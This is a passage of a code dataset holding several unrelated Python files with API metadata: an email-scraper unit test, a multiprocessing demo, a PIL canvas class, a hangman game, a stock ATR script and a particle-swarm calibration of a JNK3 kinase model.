"line_number": 147, "usage_type": "call"}, {"api_name": "torch.npu.is_available", "line_number": 148, "usage_type": "call"}, {"api_name": "torch.npu", "line_number": 148, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 184, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 185, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 186, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 187, "usage_type": "call"}, {"api_name": "common.generators.UnchunkedGenerator", "line_number": 234, "usage_type": "call"}, {"api_name": "torch.distributed.all_reduce", "line_number": 259, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 259, "usage_type": "name"}, {"api_name": "torch.distributed.all_reduce", "line_number": 262, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 262, "usage_type": "name"}, {"api_name": "torch.distributed.all_reduce", "line_number": 265, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 265, "usage_type": "name"}, {"api_name": "torch.distributed.all_reduce", "line_number": 268, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 268, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 290, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 291, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 292, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 293, "usage_type": "call"}]} {"seq_id": "18460713245", "text": "from datetime import datetime\nfrom domain.fetched_email import FetchedEmail\nimport pytest\nimport json\nimport os\nfrom unittest.mock import Mock\nfrom domain import email_scraper_pipe as scraper\nfrom shared.collections_util import dict_util\n\n@pytest.fixture\ndef scraper_config():\n # pylint: disable=no-member\n return dict_util.DefDictToObject({\n 'host': 'impa.example.com',\n 'email': 'test@example.com',\n 'password': 'test-password',\n 'folder': 'inbox',\n 'attachment_dir': '/tmp',\n 'timeout': 1,\n 'read_post_action': {'action': 'move', 'move_dest': 'cv_folder'},\n 'search_key_words': 'FROM,jw@baeldung.com,SINCE,31-May-2021'\n })\n\n@pytest.fixture(autouse=True)\ndef run_before_and_after_tests():\n \"\"\"Fixture to execute asserts before and after a test is run\"\"\"\n # Setup\n attachement_filepath = \"/tmp/filename.pdf\"\n summary_filepath = \"/tmp/newlight77@gmail.com-2021-06-28 10:11:00-1.json\"\n\n yield # this is where the testing happens\n\n # Teardown\n if(os.path.isfile(attachement_filepath)):\n os.remove(attachement_filepath)\n if(os.path.isfile(summary_filepath)):\n os.remove(summary_filepath)\n\n\n@pytest.mark.pipe\ndef test_should_scrape_email_with_attachment_by_mocking_data_with_pipe_impl(scraper_config):\n # Arrange\n part1 = Mock()\n part1.get_content_type.return_value = 'text/plain'\n part1.get_payload.return_value = 'email content'\n part1.get_filename.return_value = None\n part2 = Mock()\n part2.get_payload.return_value = 'email content' # .encode('utf-8')\n part2.get_filename.return_value = '/tmp/filename.pdf'\n\n message = Mock()\n message.walk.return_value = [part1, part2]\n message.get_all.return_value = [\"Kong \"]\n message.get.return_value = \"subject\"\n message.is_multipart.return_value = True\n\n envelope = Mock()\n #envelope.date.strftime.return_value = '2021-06-28_1011'\n envelope.date = datetime.fromisoformat('2021-06-28T10:11:00')\n\n raw_emails_with_envelopes = []\n fetched_email = FetchedEmail(1, message, envelope, datetime.now())\n raw_emails_with_envelopes.append(fetched_email)\n\n # Act\n result = raw_emails_with_envelopes | scraper.scrape(scraper_config)\n\n # Assert\n assert result == ['/tmp/newlight77@gmail.com-2021-06-28 10:11:00-1.json']\n\n assert os.path.isfile(\"/tmp/filename.pdf\")\n assert os.path.isfile(\"/tmp/newlight77@gmail.com-2021-06-28 10:11:00-1.json\")\n\n with open(\"/tmp/newlight77@gmail.com-2021-06-28 10:11:00-1.json\", 'r') as file:\n data = file.read()\n\n json_object = json.loads(data)\n\n assert json_object == {\n 'uid': 1,\n 'from': 'newlight77@gmail.com',\n 'subject': 'subject',\n 'date': '2021-06-28 10:11:00',\n 'body': {'Plain_Text': 'email content'},\n 'attachments': ['/tmp/filename.pdf']\n }\n", "repo_name": "newlight77/kata-refactoring-email-scraping-python", "sub_path": "tests/unit/domain/test_email_scraper_uc_pipe.py", "file_name": "test_email_scraper_uc_pipe.py", "file_ext": "py", "file_size_in_byte": 2876, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "shared.collections_util.dict_util.DefDictToObject", "line_number": 13, "usage_type": "call"}, {"api_name": "shared.collections_util.dict_util", "line_number": 13, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 37, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 24, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 43, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 47, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 51, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 59, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 59, "usage_type": "name"}, {"api_name": "domain.fetched_email.FetchedEmail", "line_number": 62, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 62, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 62, "usage_type": "name"}, {"api_name": "domain.email_scraper_pipe.scrape", "line_number": 66, "usage_type": "call"}, {"api_name": "domain.email_scraper_pipe", "line_number": 66, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 77, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 40, "usage_type": "attribute"}]} {"seq_id": "45037047154", "text": "import os\nfrom multiprocessing import Process\n\n# 子进程要执行的代码\ndef run_proc(name):\n # 获取子进程的进程识别码\n print(\"Child process %s (%s) Running...\" % (name, os.getpid()))\n\nif __name__ == '__main__':\n # 获取父进程的进程识别码\n print(\"Parent process %s.\" % os.getppid())\n # 创建20个子进程\n for i in range(20):\n p = Process(target=run_proc, args=(str(i),))\n print(\"Process will start.\")\n p.start()\n # join()实现进程间的同步，等待所有子进程运行结束，再运行之后的代码\n p.join()\n print(\"Process end.\")\n # 可以和1.4.1中只创建了5个子进程对比，主程序（父进程）按着自己的节奏执行\n # 子进程开始执行时，print(\"Process will start.\")属于父进程，父进程都要执行完毕了\n # 可以多次运行该程序，可以发现，子程序并不一定是按照顺序执行的\n\n\n\n\n", "repo_name": "FelixZFB/Python_advanced_learning", "sub_path": "02_Python_advanced_grammar_supplement/002_多线程_多进程_协程_进阶汇总/007_ch01_爬虫开发多进程_分布式进程(来自Spider_development_study_note）/1.4.1_1 multiprocessing.Process_少量子进程_传入函数名称和函数参数.py", "file_name": "1.4.1_1 multiprocessing.Process_少量子进程_传入函数名称和函数参数.py", "file_ext": "py", "file_size_in_byte": 938, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.getpid", "line_number": 7, "usage_type": "call"}, {"api_name": "os.getppid", "line_number": 11, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 14, "usage_type": "call"}]} {"seq_id": "14535812200", "text": "from PIL import Image\nfrom base64 import b64encode, b64decode\nfrom io import BytesIO\nfrom datetime import datetime\nfrom os import walk\n\n\nclass Canvas:\n def __init__(self):\n self.img = None\n self.lastsaved = None\n self.reset()\n def reset(self):\n self.img = Image.new(\n mode=\"RGB\",\n size=(1000, 600),\n color=(255, 255, 255)\n )\n self.lastsaved = datetime.now()\n def restore(self, dirpath):\n filenames = []\n for _, _, files in walk(dirpath):\n filenames.extend(files)\n break\n filenames.remove(\".gitignore\")\n if not filenames:\n print(\"No snapshots to restore from!\")\n return\n print(\"Restoring from:\", dirpath + max(filenames))\n self.img = Image.open(dirpath + max(filenames))\n def save(self, dirpath):\n title = datetime.now().isoformat(\" \").replace(\":\", \".\")\n self.img.save(dirpath + title + \".png\", \"PNG\")\n self.lastsaved = datetime.now()\n def seconds_since_save(self):\n return (datetime.now() - self.lastsaved).total_seconds()\n def stringify(self):\n buffer = BytesIO()\n self.img.save(buffer, format=\"PNG\")\n imgstr = str(b64encode(buffer.getvalue()))[2:-1]\n return imgstr\n def update(self, json):\n strimg = json[\"strimg\"][22:]\n decoded = b64decode(strimg)\n buffer = BytesIO(decoded)\n img = Image.open(buffer)\n #img.save(\"thing.png\", \"PNG\")\n self.img.paste(img, (0, 0), img)\n", "repo_name": "Floozutter/graffiti-wall", "sub_path": "gwall/canvas.py", "file_name": "canvas.py", "file_ext": "py", "file_size_in_byte": 1569, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PIL.Image.new", "line_number": 14, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 14, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 19, "usage_type": "name"}, {"api_name": "os.walk", "line_number": 22, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 30, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 30, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 32, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 32, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 34, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 36, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 36, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 38, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 40, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 44, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 45, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 46, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 46, "usage_type": "name"}]} {"seq_id": "20489473674", "text": "import logging\nimport random\nfrom hanging_boy import lives_live\n\n\n\nlogging.basicConfig(level=logging.DEBUG,\n filename=\"LOG_hangman.log\",\n filemode=\"a\",\n format='%(asctime)s : %(levelname)s : %(message)s')\n\nlogging.debug(\"la fonction a bien été éxécutée\")\nlogging.warning(\"attention !\")\n\n\n\n\n\n\n\n#récupération d'une liste de mots dans un fichier exterieur.\ndef get_words_files():\n try:\n x = 'mots.txt'\n words = []\n with open(x, 'r') as f:\n for line in f:\n words.append(line.strip(\" \\n\"))\n logging.debug(\"mot.tx read succesfully\")\n except:\n logging.warning(\"no mots.txt file in directory\")\n\n word = random.choice(words) \n word = word.upper()\n print(word)\n logging.debug(\"function random choice success\")\n return word \n\n\ndef hangman():\n try:\n word = get_words_files() # lettres du mot\n word_letters = set(word)\n used_letters = set () # lettres utilisées\n life = 7\n\n\n while len(word_letters) > 0 and life > 0:\n print('\\n you have used this letters : ',' '.join(used_letters))\n print(' you have ', life,' life remaining !')\n\n my_list = [letter if letter in used_letters else '_' for letter in word]\n print(lives_live[life])\n print('\\n Your word : ',' '.join(my_list))\n\n gamer_letter = input('guess a letter : ').upper()\n\n if len(gamer_letter) == 1:\n used_letters.add(gamer_letter)\n \n if gamer_letter in word_letters:\n word_letters.remove(gamer_letter)\n \n else :\n life = life - 1\n print(gamer_letter,' not in the word.')\n\n elif gamer_letter in used_letters:\n print('You have already try this letter ')\n\n else:\n life = life - 1\n print('wrong letter!') \n\n \n\n if life == 0:\n print('Sorry, you died !')\n print('Your word was : ',word)\n logging.debug(\"failure, losing ended \")\n else:\n logging.debug(\"success ended file\")\n print('Succes, your word was : ',word)\n \n logging.info(\"hangman main function succes\")\n except:\n logging.warning(\"hangman main function failed\")\n\n if __name__ == '__main__':\n hangman()\n\n#print(get_words_files(sys.argv[1])) \n#print(hangman(get_words_files(sys.argv[1]))) ", "repo_name": "thiibault/projet_pendu", "sub_path": "pendu/Hangman.py", "file_name": "Hangman.py", "file_ext": "py", "file_size_in_byte": 2551, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.basicConfig", "line_number": 7, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 7, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 13, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 29, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 31, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 33, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 36, "usage_type": "call"}, {"api_name": "hanging_boy.lives_live", "line_number": 53, "usage_type": "name"}, {"api_name": "logging.debug", "line_number": 80, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 82, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 85, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 87, "usage_type": "call"}]} {"seq_id": "24793704923", "text": "#!/usr/bin/env python3\n\n#######################\n##### ATR BANDS #####\n#######################\n\nimport os,sys\nimport yfinance as yf\nimport numpy as np\nimport pandas as pd\npd.set_option('display.precision', 2)\n\n#sys.path.insert(0, '../utils')\n#sys.path.insert(1, os.path.join(sys.path[0], '..'))\nsys.path.append(\"..\")\n\n\n################################\n##### External functions #####\n################################\nfrom util.atr import __ATR\n\n#def calculate_ATR(df_func):\n# # Calculating ATR - Average True Range\n# high_low = df_func['High'] - df_func['Low']\n# high_close = np.abs(df_func['High'] - df_func['Close'].shift())\n# low_close = np.abs(df_func['Low'] - df_func['Close'].shift())\n#\n# ranges = pd.concat([high_low, high_close, low_close], axis=1)\n# true_range = np.max(ranges, axis=1)\n#\n# df_func['ATR_14'] = true_range.rolling(14).sum()/14\n# \n# return df_func\n\n# Define the ticker and download the historical data\nticker = 'AAPL'\ndata = yf.download(ticker, period='5y')\n#data = data.drop(['Adj Close'], axis=1).dropna()\n\natr = __ATR ( data, 14 )\n\n#data = calculate_ATR( data )\n\nstop_loss_percent = 2 # Replace with desired stop-loss percentage\ncurrent_price = data[\"Adj Close\"][-1]\n\nstop_loss_level = current_price - (atr[-1] * (stop_loss_percent / 100))\n\nprint ( atr )\n\nprint(f\"Current Price: {current_price:.2f}\")\nprint(f\"Stop Loss Level: {stop_loss_level:.2f}\")\n\nprint ( data.tail(3))\n\n", "repo_name": "pgvasiliu/sta", "sub_path": "indicators/atr.py", "file_name": "atr.py", "file_ext": "py", "file_size_in_byte": 1436, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.set_option", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 15, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "yfinance.download", "line_number": 38, "usage_type": "call"}, {"api_name": "util.atr.__ATR", "line_number": 41, "usage_type": "call"}]} {"seq_id": "36896434562", "text": "from model_analysis.jnk3_no_ask1 import model\nfrom simplepso.pso import PSO\nfrom pysb.simulator import ScipyOdeSimulator\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom model_analysis.equilibration_function import pre_equilibration\n\nexp_data = pd.read_csv('../data/exp_data_3min.csv') # [0,1] range normalization\n\n\n## New kds in jnk3 mkk4/7\n# idx_pars_calibrate = [1, 5, 9, 11, 15, 17, 23, 25, 27, 31, 35, 36, 37, 38, 39, 41, 43] #pydream\n# idx_pars_calibrate = [5, 9, 11, 15, 17, 23, 25, 27, 31, 35, 36, 37, 38, 39, 41, 43] #pydream2\nidx_pars_calibrate = [1, 5, 9, 11, 15, 17, 19, 23, 25, 27, 31, 35, 36, 37, 38, 39, 41, 43] #pydream3\n\nrates_of_interest_mask = [i in idx_pars_calibrate for i, par in enumerate(model.parameters)]\n\n# Index of Initial conditions of Arrestin\narrestin_idx = [44]\njnk3_initial_value = 0.6 # total jnk3\njnk3_initial_idxs = [47, 48, 49]\nkcat_idx = [36, 37]\n\nparam_values = np.array([p.value for p in model.parameters])\nnominal_values = np.array([p.value for p in model.parameters])\nxnominal = np.log10(nominal_values[rates_of_interest_mask])\nlower = xnominal - 2\nupper = xnominal + 2\n# lower[0] = xnominal[0] - np.log10(534)\n# upper[0] = xnominal[0] + np.log(534)\n\n\ntspan = np.linspace(0, exp_data['Time (secs)'].values[-1], 181)\nt_exp_mask = [idx in exp_data['Time (secs)'].values[:] for idx in tspan]\n\nsolver = ScipyOdeSimulator(model, tspan=tspan)\n\n\ndef display(position):\n Y = np.copy(position)\n param_values[rates_of_interest_mask] = 10 ** Y\n\n pars1 = np.copy(param_values)\n pars2 = np.copy(param_values)\n\n # Pre-equilibration\n time_eq = np.linspace(0, 100, 100)\n pars_eq1 = np.copy(param_values)\n pars_eq2 = np.copy(param_values)\n\n pars_eq2[arrestin_idx] = 0\n pars_eq2[jnk3_initial_idxs] = [0.5958, 0, 0.0042]\n\n all_pars = np.stack((pars_eq1, pars_eq2))\n all_pars[:, kcat_idx] = 0 # Setting catalytic reactions to zero for pre-equilibration\n eq_conc = pre_equilibration(model, time_eq, all_pars)[1]\n\n # Simulating models with initials from pre-equilibration and parameters for condition with/without arrestin\n pars2[arrestin_idx] = 0\n pars2[jnk3_initial_idxs] = [0.5958, 0, 0.0042]\n sim = solver.run(param_values=[pars1, pars2], initials=eq_conc).all\n\n plt.plot(tspan, sim[0]['pTyr_jnk3'] / jnk3_initial_value, color='red', label='p(Tyr)JNK3 sim')\n plt.errorbar(exp_data['Time (secs)'].values, exp_data['pTyr_arrestin_avg'].values,\n exp_data['pTyr_arrestin_std'].values,\n linestyle='None', marker='o', capsize=5, color='red', label='p(Tyr)JNK3 exp')\n\n plt.plot(tspan, sim[0]['pThr_jnk3'] / jnk3_initial_value, color='blue', label='p(Thr)JNK3 sim')\n plt.errorbar(exp_data['Time (secs)'].values, exp_data['pThr_arrestin_avg'].values,\n exp_data['pThr_arrestin_std'].values,\n linestyle='None', marker='o', capsize=5, color='blue', label='p(Thr)JNK3 exp')\n\n plt.plot(tspan, sim[0]['all_jnk3'] / jnk3_initial_value, color='cyan', label='ppJNK3 sim')\n plt.errorbar(exp_data['Time (secs)'].values, exp_data['ppjnk3_arrestin_avg'].values,\n exp_data['ppjnk3_arrestin_std'].values,\n linestyle='None', marker='o', capsize=5, color='cyan', label='ppJNK3 exp')\n\n plt.plot(tspan, sim[1]['pTyr_jnk3'] / jnk3_initial_value, color='black', label='p(Tyr)JNK3 -Arr sim')\n plt.errorbar(exp_data['Time (secs)'].values, exp_data['pTyr_noarrestin_avg'].values,\n exp_data['pTyr_noarrestin_std'].values,\n linestyle='None', marker='o', capsize=5, color='black', label='p(Tyr)JNK3 -Arr exp')\n\n plt.plot(tspan, sim[1]['pThr_jnk3'] / jnk3_initial_value, color='green', label='p(Thr)JNK3 -Arr sim')\n plt.errorbar(exp_data['Time (secs)'].values, exp_data['pThr_noarrestin_avg'].values,\n exp_data['pThr_noarrestin_std'].values,\n linestyle='None', marker='o', capsize=5, color='green', label='p(Thr)JNK3 -Arr exp')\n\n plt.plot(tspan, sim[1]['all_jnk3'] / jnk3_initial_value, color='purple', label='ppJNK3 -Arr sim')\n plt.errorbar(exp_data['Time (secs)'].values, exp_data['ppjnk3_noarrestin_avg'].values,\n exp_data['ppjnk3_noarrestin_std'].values,\n linestyle='None', marker='o', capsize=5, color='purple', label='ppJNK3 -Arr exp')\n\n plt.xlabel('Arrestin (microM)')\n plt.ylabel('pJNK3 (microM)')\n # plt.legend()\n plt.savefig('jnk3_noASK1_trained_pso_1h.png')\n plt.show()\n\n\ndef likelihood(position):\n Y = np.copy(position)\n param_values[rates_of_interest_mask] = 10 ** Y\n\n pars1 = np.copy(param_values)\n pars2 = np.copy(param_values)\n\n # Pre-equilibration\n time_eq = np.linspace(0, 100, 100)\n pars_eq1 = np.copy(param_values)\n pars_eq2 = np.copy(param_values)\n\n pars_eq2[arrestin_idx] = 0\n # pars_eq2[jnk3_initial_idxs] = [0.5958, 0, 0.0042]\n\n all_pars = np.stack((pars_eq1, pars_eq2))\n all_pars[:, kcat_idx] = 0 # Setting catalytic reactions to zero for pre-equilibration\n try:\n eq_conc = pre_equilibration(model, time_eq, all_pars)[1]\n except:\n return np.inf,\n\n # Simulating models with initials from pre-equilibration and parameters for condition with/without arrestin\n pars2[arrestin_idx] = 0\n # pars2[jnk3_initial_idxs] = [0.5958, 0, 0.0042]\n sim = solver.run(param_values=[pars1, pars2], initials=eq_conc).all\n\n e_mkk4 = np.sum((exp_data['pTyr_arrestin_avg'].values - sim[0]['pTyr_jnk3'][t_exp_mask] / jnk3_initial_value) ** 2 /\n (exp_data['pTyr_arrestin_std'].values**2))\n e_mkk7 = np.sum((exp_data['pThr_arrestin_avg'].values - sim[0]['pThr_jnk3'][t_exp_mask] / jnk3_initial_value) ** 2 /\n (exp_data['pThr_arrestin_std'].values**2))\n # e_ppjnk3 = np.sum((exp_data['ppjnk3_arrestin_avg'].values - sim[0]['all_jnk3'][t_exp_mask] / jnk3_initial_value) **2 /\n # (2 * exp_data['ppjnk3_arrestin_std'].values)) / len(exp_data['ppjnk3_arrestin_std'].values)\n error1 = e_mkk4 + e_mkk7\n\n e2_mkk4 = np.sum((exp_data['pTyr_noarrestin_avg'].values - sim[1]['pTyr_jnk3'][t_exp_mask] / jnk3_initial_value) ** 2 /\n (exp_data['pTyr_noarrestin_std'].values**2))\n e2_mkk7 = np.sum((exp_data['pThr_noarrestin_avg'].values - sim[1]['pThr_jnk3'][t_exp_mask] / jnk3_initial_value) ** 2 /\n (exp_data['pThr_noarrestin_std'].values**2))\n # e2_ppjnk3 = np.sum((exp_data['ppjnk3_noarrestin_avg'].values - sim[1]['all_jnk3'][t_exp_mask] / jnk3_initial_value) **2 /\n # (2 * exp_data['ppjnk3_noarrestin_std'].values)) / len(exp_data['ppjnk3_noarrestin_std'].values)\n\n box1 = (pars1[21]/pars1[20]) * (pars1[23]/pars1[22]) * (1 / (pars1[1] / pars1[0])) * \\\n (1 / (pars1[5]/pars1[4]))\n\n box2 = (pars1[21] / pars1[20]) * (pars1[25] / pars1[24]) * (1 / (pars1[3] / pars1[2])) * \\\n (1 / (pars1[27] / pars1[26]))\n\n box3 = (pars1[13] / pars1[12]) * (pars1[23] / pars1[22]) * (1 / (pars1[1] / pars1[0])) * \\\n (1 / (pars1[15] / pars1[14]))\n\n box4 = (pars1[7] / pars1[6]) * (pars1[25] / pars1[24]) * (1 / (pars1[3] / pars1[2])) * \\\n (1 / (pars1[11] / pars1[10]))\n\n boxes = np.array([box1, box2, box3, box4])\n boxes_error = np.sum((boxes - 1)**2)\n\n error2 = e2_mkk4 + e2_mkk7\n error = error1 + error2 + boxes_error\n return error,\n\n# new_nominal = np.load('jnk3_noASK1_calibrated_pars_pso_2min_5.npy')\n\ndef run_example():\n pso = PSO(save_sampled=False, verbose=True, num_proc=4)\n pso.set_cost_function(likelihood)\n pso.set_start_position(xnominal)\n pso.set_bounds(lower=lower, upper=upper)\n pso.set_speed(-.25, .25)\n pso.run(40, 200)\n display(pso.best)\n np.save('calibrated_pars_pso5', pso.best)\n\n\ndef run_example_multiple():\n best_pars = np.zeros((100, len(model.parameters)))\n counter = 0\n for i in range(100):\n pso = PSO(save_sampled=False, verbose=False, num_proc=4)\n pso.set_cost_function(likelihood)\n nominal_random = xnominal + np.random.uniform(-1, 1, len(xnominal))\n pso.set_start_position(nominal_random)\n pso.set_bounds(2.5)\n pso.set_speed(-.25, .25)\n pso.run(25, 100)\n if pso.best.fitness.values[0] < 0.066:\n Y = np.copy(pso.best)\n param_values[rates_of_interest_mask] = 10 ** Y\n best_pars[counter] = param_values\n counter += 1\n print (i, counter)\n\n # display(pso.best)\n np.save('jnk3_noASK1_ncalibrated_pars_1h', best_pars)\n\nif __name__ == '__main__':\n run_example()\n # run_example_multiple()", "repo_name": "LoLab-MSM/JARM", "sub_path": "model_analysis/pso_normalized_thermodynamic.py", "file_name": "pso_normalized_thermodynamic.py", "file_ext": "py", "file_size_in_byte": 8621, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 9, "usage_type": "call"}, {"api_name": "model_analysis.jnk3_no_ask1.model.parameters", "line_number": 17, "usage_type": "attribute"}, {"api_name": "model_analysis.jnk3_no_ask1.model", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 25, "usage_type": "call"}, {"api_name": "model_analysis.jnk3_no_ask1.model.parameters", "line_number": 25, "usage_type": "attribute"}, {"api_name": "model_analysis.jnk3_no_ask1.model", "line_number": 25, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 26, "usage_type": "call"}, {"api_name": "model_analysis.jnk3_no_ask1.model.parameters", "line_number": 26, "usage_type": "attribute"}, {"api_name": "model_analysis.jnk3_no_ask1.model", "line_number": 26, "usage_type": "name"}, {"api_name": "numpy.log10", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 34, "usage_type": "call"}, {"api_name": "pysb.simulator.ScipyOdeSimulator", "line_number": 37, "usage_type": "call"}, {"api_name": "model_analysis.jnk3_no_ask1.model", "line_number": 37, "usage_type": "argument"}, {"api_name": "numpy.copy", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 55, "usage_type": "call"}, {"api_name": "model_analysis.equilibration_function.pre_equilibration", "line_number": 57, "usage_type": "call"}, {"api_name": "model_analysis.jnk3_no_ask1.model", "line_number": 57, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "numpy.copy", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 116, "usage_type": "call"}, {"api_name": "model_analysis.equilibration_function.pre_equilibration", "line_number": 119, "usage_type": "call"}, {"api_name": "model_analysis.jnk3_no_ask1.model", "line_number": 119, "usage_type": "argument"}, {"api_name": "numpy.inf", 